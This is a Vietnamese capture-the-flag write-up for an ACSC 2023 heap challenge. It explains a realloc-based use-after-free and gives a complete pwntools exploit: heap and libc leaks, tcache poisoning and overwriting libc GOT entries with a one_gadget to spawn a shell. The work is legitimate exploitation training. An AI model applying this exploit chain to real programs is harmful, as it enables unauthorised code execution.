Writeup RE ACSC 2023
Source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include <stdlib.h> #include <unistd.h> #include <stdio.h> static int getnline (char *buf, int size) ;static int getint (void ) ;static void edit (void ) ;struct Memo { size_t size; char * buf; } mlist[10 ]; __attribute__((constructor)) static int init () { alarm(30 ); setbuf(stdin , NULL ); setbuf(stdout , NULL ); return 0 ; } int main (void ) { for (;;){ printf ("\nMENU\n" "1. Edit\n" "2. List\n" "0. Exit\n" "> " ); switch (getint()){ case 0 : goto end; case 1 : edit(); break ; case 2 : for (int i=0 ; i<sizeof (mlist)/sizeof (struct Memo); i++) if (mlist[i].size > 0 && mlist[i].buf) printf ("[%d] %.*s\n" , i, (int )mlist[i].size, mlist[i].buf); break ; } } end: puts ("Bye." ); return 0 ; } static void edit (void ) { unsigned idx, size; printf ("Index: " ); if ((idx = getint()) >= sizeof (mlist)/sizeof (struct Memo)){ puts ("Out of list" ); return ; } printf ("Size: " ); if ((size = getint()) > 0x78 ){ puts ("Too big memo" ); return ; } char *p = realloc (mlist[idx].buf, size); if (size > mlist[idx].size) mlist[idx].buf = p; mlist[idx].size = size; printf ("Memo: " ); getnline(mlist[idx].buf, size); puts ("Done" ); } static int getnline (char *buf, int size) { int len; if (size <= 0 || (len = read(STDIN_FILENO, buf, size-1 )) <= 0 ) return -1 ; if (buf[len-1 ]=='\n' ) len--; buf[len] = '\0' ; return len; } static int getint (void ) { char buf[0x10 ] = {}; getnline(buf, sizeof (buf)); return atoi(buf); }
Hàm edit dùng hàm realloc để cấp phát động.
Trích đoạn từ malloc(3) — Linux manual page
:
1 2 3 4 5 6 7 8 9 10 11 The realloc() function changes the size of the memory block pointed to by ptr to size bytes. The contents will be unchanged in the range from the start of the region up to the minimum of the old and new sizes. If the new size is larger than the old size, the added memory will not be initialized. If ptr is NULL, then the call is equivalent to malloc(size), for all values of size; if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr) (this behavior is nonportable; see NOTES). Unless ptr is NULL, it must have been returned by an earlier call to malloc(), calloc(), or realloc(). If the area pointed to was moved, a free(ptr) is done.
Tóm gọn lại ta có :
1 2 3 realloc (NULL ,size) -> malloc (size)realloc (p,0 ) -> free (p)realloc (p,old_size) # nothing
Hàm edit không check size của user nhập vào. Không clear pointer khi size=0 -> tạo overlapping chunk
-> use after free
và double free
bug.
Gọi realloc(mlist[0],0x78)
-> realloc(mlist[0],0)
-> realloc(mlist[1],0x78)
ta được 2 pointer mlist[0]
và mlist[1]
overlap.
1 2 3 4 5 6 7 8 9 10 11 12 def Edit (idx: int ,size: int ,memo: bytes ,sendline=True ): p.sendlineafter(b">" ,b"1" ) p.sendlineafter(b"Index:" ,f"{idx} " .encode()) p.sendlineafter(b"Size:" ,f"{size} " .encode()) if size>1 : p.sendafter(b"Memo:" ,memo) sleep(0.5 ) def List (): p.sendlineafter(b">" ,b"2" ) Edit(0 ,0x78 ,b"A" *8 ) Edit(0 ,0 ,0 ) Edit(1 ,0x78 ,b"A" *8 )
Gọi lại realloc(mlist[0],0)
ta được mlist[0]
và mlist[1]
đều cùng trỏ vào tcachebins[0x80][0]
. List để in mlist[1]
ra ta leak được heap.
1 2 3 4 5 6 List ()p.recvuntil(b"[1] " ) first_chunk=int (p.recv(5 )[::-1 ].hex (),16 ) first_chunk = (first_chunk << 12 ) +0x290 log.info(f"{hex (first_chunk)} " ) tcache_perthread_struct=first_chunk-0x290
Ghi đè mlist[0].fd trỏ vào tcache_perthread_struct* tcache chunk
, ta control được counts và entries.
1 2 3 4 Edit(1 ,0x78 ,p64(0 )*2 ) Edit(0 ,0 ,0 ) Edit(1 ,0x78 ,p64(((first_chunk+0x10 ) >> 12 ) ^ (tcache_perthread_struct+0x10 ))+p64(0 )) Edit(2 ,0x78 ,b"A" *8 )
tcache chunk
có size là 0x290, ghi đè count của tcachebins[0x290]
thành 7 -> realloc(tcache,0x78)
ta được unsorted bin.
1 2 Edit(3 ,0x78 ,p16(7 )*58 ) Edit(3 ,0x78 ,p16(0 )*6 +p16(7 ))
Giờ mình gọi realloc(mlist[4],0x68)
để control entries bằng mlist[4]
-> ghi đè tcachesbin[0x80] entry
thành tcache+0x160
-> gọi realloc(mlist[5],0x78)
từ đó mlist[5]
trỏ vào tcache+0x160
.
1 2 Edit(4 ,0x68 ,p64(0 )*6 +p64(tcache_perthread_struct+0x160 )) Edit(5 ,0x78 ,b"X" )
Ta thấy giờ mlist[5]
cách unsortedbin
0x60, nếu ta gọi malloc(0x58)
ra thì khi đó unsortedbin
và mlist[5]
overlap -> in mlist[5]
ra ta leak được libc.
1 2 3 4 Edit(6 ,0x58 ,b"Khongduocthicut" ) List ()p.recvuntil(b"[5] " ) libc.address=int (p.recv(6 )[::-1 ].hex (),16 )-0x219ce0
Đề bài cho libc 2.35, ta không thể ghi đè one-gadget vào __malloc_hook
,__calloc_hook
,__realloc_hook
hay __free_hook
để chiếm shell.
Đầu tiên mình nghĩ đến việc ghi đè one_gadget vào got của libc. Dễ thấy nhất là hàm puts.
1 2 3 4 puts_abs_got=libc.address+0x219098 Edit(3 ,0x78 ,p16(0 )*6 +p16(7 )) Edit(4 ,0x68 ,p64(0 )*6 +p64(puts_abs_got-8 )) Edit(7 ,0x78 ,p64(8 )+p64(libc.address+0xebcf8 ))
Note: halfbyte đầu của một địa chỉ tcachebin phải là 0 Vấn đề là lúc này khi mình check thực sự các thanh ghi không thảo mãn one_gadget nào.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 0x50a37 posix_spawn(rsp+0x1c , "/bin/sh" , 0 , rbp, rsp+0x60 , environ)constraints: rsp & 0xf == 0 rcx == NULL rbp == NULL || (u16)[rbp] == NULL 0xebcf1 execve("/bin/sh" , r10, [rbp-0x70 ])constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [[rbp-0x70 ]] == NULL || [rbp-0x70 ] == NULL 0xebcf5 execve("/bin/sh" , r10, rdx)constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0xebcf8 execve("/bin/sh" , rsi, rdx)constraints: address rbp-0x78 is writable [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
Tuy nhiên mình thấy có quy luật là $rsi là địa chỉ trỏ vào heap chunk, $rdx là số byte vừa ghi đè được lên heap chunk, $rax và $rdi là con trỏ tới “Done”.
Sau 3347 lần đi đọc opcode trên libc mình thấy tại realloc+1153 có opcode làm cho thanh $rdx bằng 0 và gọi thêm một hàm plt ra.
Vì vậy cuối cùng mình quyết định ghi đè got mà puts gọi tới
là realloc+1153
còn got mà realloc gọi
sẽ là one_gadget
1 2 3 4 5 6 Edit(3 ,0x78 ,p16(0 )*6 +p16(7 )) Edit(4 ,0x68 ,p64(0 )*6 +p64(realloc_abs_got)) Edit(7 ,0x78 ,p64(libc.address+0xebcf8 )) Edit(4 ,0x68 ,p64(0 )*6 +p64(puts_abs_got-8 )) Edit(8 ,0x78 ,p64(0 )+p64(libc.sym.realloc+1153 ))
Check lại các tham số đã thoả mãn one_gadget.
Final script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *context.binary=e=ELF("./chall" ) libc=e.libc gs=""" b *__run_exit_handlers+211 b *calloc+678 b __GI___libc_reallocarray b *realloc+1153 """ if args.DEBUG: context.log_level='debug' if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int (args.PORT)) def Edit (idx: int ,size: int ,memo: bytes ,sendline=True ): p.sendlineafter(b">" ,b"1" ) p.sendlineafter(b"Index:" ,f"{idx} " .encode()) p.sendlineafter(b"Size:" ,f"{size} " .encode()) if size>1 : p.sendafter(b"Memo:" ,memo) sleep(0.5 ) def List (): p.sendlineafter(b">" ,b"2" ) Edit(0 ,0x78 ,b"A" *8 ) Edit(0 ,0 ,0 ) Edit(1 ,0x78 ,b"A" *8 ) Edit(0 ,0 ,0 ) List ()p.recvuntil(b"[1] " ) first_chunk=int (p.recv(5 )[::-1 ].hex (),16 ) first_chunk = (first_chunk << 12 ) +0x290 log.info(f"{hex (first_chunk)} " ) tcache_perthread_struct=first_chunk-0x290 Edit(1 ,0x78 ,p64(0 )*2 ) Edit(0 ,0 ,0 ) Edit(1 ,0x78 ,p64(((first_chunk+0x10 ) >> 12 ) ^ (tcache_perthread_struct+0x10 ))+p64(0 )) Edit(2 ,0x78 ,b"A" *8 ) Edit(3 ,0x78 ,p16(7 )*58 ) Edit(3 ,0x78 ,p16(0 )*6 +p16(7 )) Edit(4 ,0x68 ,p64(0 )*6 +p64(tcache_perthread_struct+0x160 )) Edit(5 ,0x78 ,b"X" ) Edit(6 ,0x58 ,b"Khongduocthicut" ) List ()p.recvuntil(b"[5] " ) libc.address=int (p.recv(6 )[::-1 ].hex (),16 )-0x219ce0 puts_abs_got=libc.address+0x219098 realloc_abs_got=libc.address+0x219160 log.info(f"libc @ {hex (libc.address)} " ) Edit(3 ,0x78 ,p16(0 )*6 +p16(7 )) Edit(4 ,0x68 ,p64(0 )*6 +p64(realloc_abs_got)) Edit(7 ,0x78 ,p64(libc.address+0xebcf8 )) Edit(4 ,0x68 ,p64(0 )*6 +p64(puts_abs_got-8 )) Edit(8 ,0x78 ,p64(0 )+p64(libc.sym.realloc+1153 )) p.sendline(b"cat flag*" ) p.interactive()
Flag : ACSC{r34ll0c_15_n07_ju57_r34ll0c473}